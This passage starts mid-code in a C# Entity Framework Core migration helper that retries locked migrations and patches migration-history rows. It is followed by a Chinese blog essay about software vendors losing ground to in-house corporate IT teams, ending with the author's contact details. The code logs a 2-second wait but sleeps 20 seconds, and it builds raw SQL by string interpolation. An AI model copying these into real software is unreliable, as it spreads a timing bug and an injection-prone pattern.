            {
                try
                {
                    await MigrateAsync(dbContext);
                    break;
                }
                finally
                {
                    await _migrateLock.ReleaseLockAsync(connection);
                }
            }

            if (wait)
            {
                _logger.LogWarning("Migration is locked, wait for 2 seconds");
                Thread.Sleep(20000);

                continue;
            }

            _logger.LogInformation("Migration is locked, skip");

            break;
        }
    }

    private void HandleError(DbContext dbContext, Exception e)
    {
        var needChangeList = dbContext.Database.GetPendingMigrations().ToList();
        var allChangeList = dbContext.Database.GetMigrations().ToList();
        var hasChangeList = dbContext.Database.GetAppliedMigrations().ToList();

        if (needChangeList.Count + hasChangeList.Count > allChangeList.Count)
        {
            int errIndex = allChangeList.Count - needChangeList.Count;

            if (hasChangeList.Count - 1 == errIndex && hasChangeList[errIndex] != needChangeList[0])
            {
                int index = needChangeList[0].IndexOf("_", StringComparison.Ordinal);
                string errSuffix = needChangeList[0].Substring(index, needChangeList[0].Length - index);
                if (hasChangeList[errIndex].EndsWith(errSuffix))
                {
                    dbContext.Database.ExecuteSqlRaw($"Update __EFMigrationsHistory set MigrationId = '{needChangeList[0]}' where MigrationId = '{hasChangeList[errIndex]}'");
                    dbContext.Database.Migrate();
                }
                else
                {
                    throw e;
                }
            }
            else
            {
                throw e;
            }
        }
        else
        {
            throw e;
        }

        _logger.LogInformation("Migration failed, but success on second try.");
    }

    private async Task HandleErrorAsync(DbContext dbContext, Exception e)
    {
        var needChangeList = (await dbContext.Database.GetPendingMigrationsAsync()).ToList();
        var allChangeList = dbContext.Database.GetMigrations().ToList();
        var hasChangeList = (await dbContext.Database.GetAppliedMigrationsAsync()).ToList();

        if (needChangeList.Count + hasChangeList.Count > allChangeList.Count)
        {
            int errIndex = allChangeList.Count - needChangeList.Count;

            if (hasChangeList.Count - 1 == errIndex && hasChangeList[errIndex] != needChangeList[0])
            {
                int index = needChangeList[0].IndexOf("_", StringComparison.Ordinal);
                string errSuffix = needChangeList[0].Substring(index, needChangeList[0].Length - index);
                if (hasChangeList[errIndex].EndsWith(errSuffix))
                {
                    await dbContext.Database.ExecuteSqlRawAsync($"Update __EFMigrationsHistory set MigrationId = '{needChangeList[0]}' where MigrationId = '{hasChangeList[errIndex]}'");
                    await dbContext.Database.MigrateAsync();
                }
                else
                {
                    throw e;
                }
            }
            else
            {
                throw e;
            }
        }
        else
        {
            throw e;
        }

        _logger.LogInformation("Migration failed, but success on second try.");
    }
}

为什么感觉到卷?可能的一个原因是大家都在进步,用户和竞争对手也在进步,而自己却没有进步,也谈不上思维模式的改变。

我们不谈理论、不谈理想、不谈市场环境不好,就谈与用户接触过程的案例,这是最有说服力的。

1.一个集团的生产单位,要做4个分厂的集中管控平台,我们对分厂的业务进行了充分调研,经过多次交流,也做了详细的方案。但是集团的大领导一句话,项目给了集团做信息化的子公司。现在不管是私有集团、国有集团、合资集团都有自己的信息化公司,他们自己当然有在自动化、信息化和智能化领域做大做强的合理化诉求。市场环境越不好,诉求越强烈,大家都要生存。所以,我们的宿命可能只能给集团信息化公司做分包,人家吃肉、自己喝汤。

2.一个集团的运维公司,他们自己的技术人员做了一个B/S结构的运维管理系统,实现下发运维任务、运维操作规范、运维时长、KPI考核与工资挂钩等,尽管界面不是太友好和系统运行较慢,但是毕竟自主实现了和业务强关联的管理系统。他们找我们想重构和完善这套系统,可想而知的是极低的报价,尽管这样可能他们都会嫌贵。

3.一个集团的计量部门,统管集团所有计量设备,我们给他们进行设备改造和升级进行现场调研,我们提议:应该把所有设备的数据统一接入到计量部门监测和管理。我们无非是想挖掘需求,多做一些业务。他们回复:自己已经开发一套这样的系统,能看到所有计量设备的数据。后来参观了他们的计量监控室,空间很大,整面墙全是监控视频,对面是两排监控电脑,他们自己开发的计量监控系统是WinForm C/S结构,定制开发了数据分析功能。在前期交流的过程中,我感觉他们没有开发能力,还是夸赞他们做的非常不错。

集团有自己的信息化公司、职能类型的子公司有自己的开发能力,请问广大软件信息化类公司的生存空间在哪?是不是在逐步缩小?

最近试用了Cursor开发工具,类似VSCODE,集成的AI功能非常方便,大的思路规划好,AI提示的代码再进行集成和整合。将来传统软件是否都具备AI能力?

我们应该好好审视自己,给用户随便吹能做这、能做那、能降本增效智能化,但是我们自己的产品化率不高、还在用excel传递信息等,降低不了技术开发成本、实施成本和管理成本,吹的越狠反而对自己的伤害越大。


物联网&大数据技术 QQ群:54256083

物联网&大数据项目 QQ群:727664080

QQ:504547114

微信:wxzz0151

博客:https://www.cnblogs.com/lsjwq

微信公众号:iNeuOS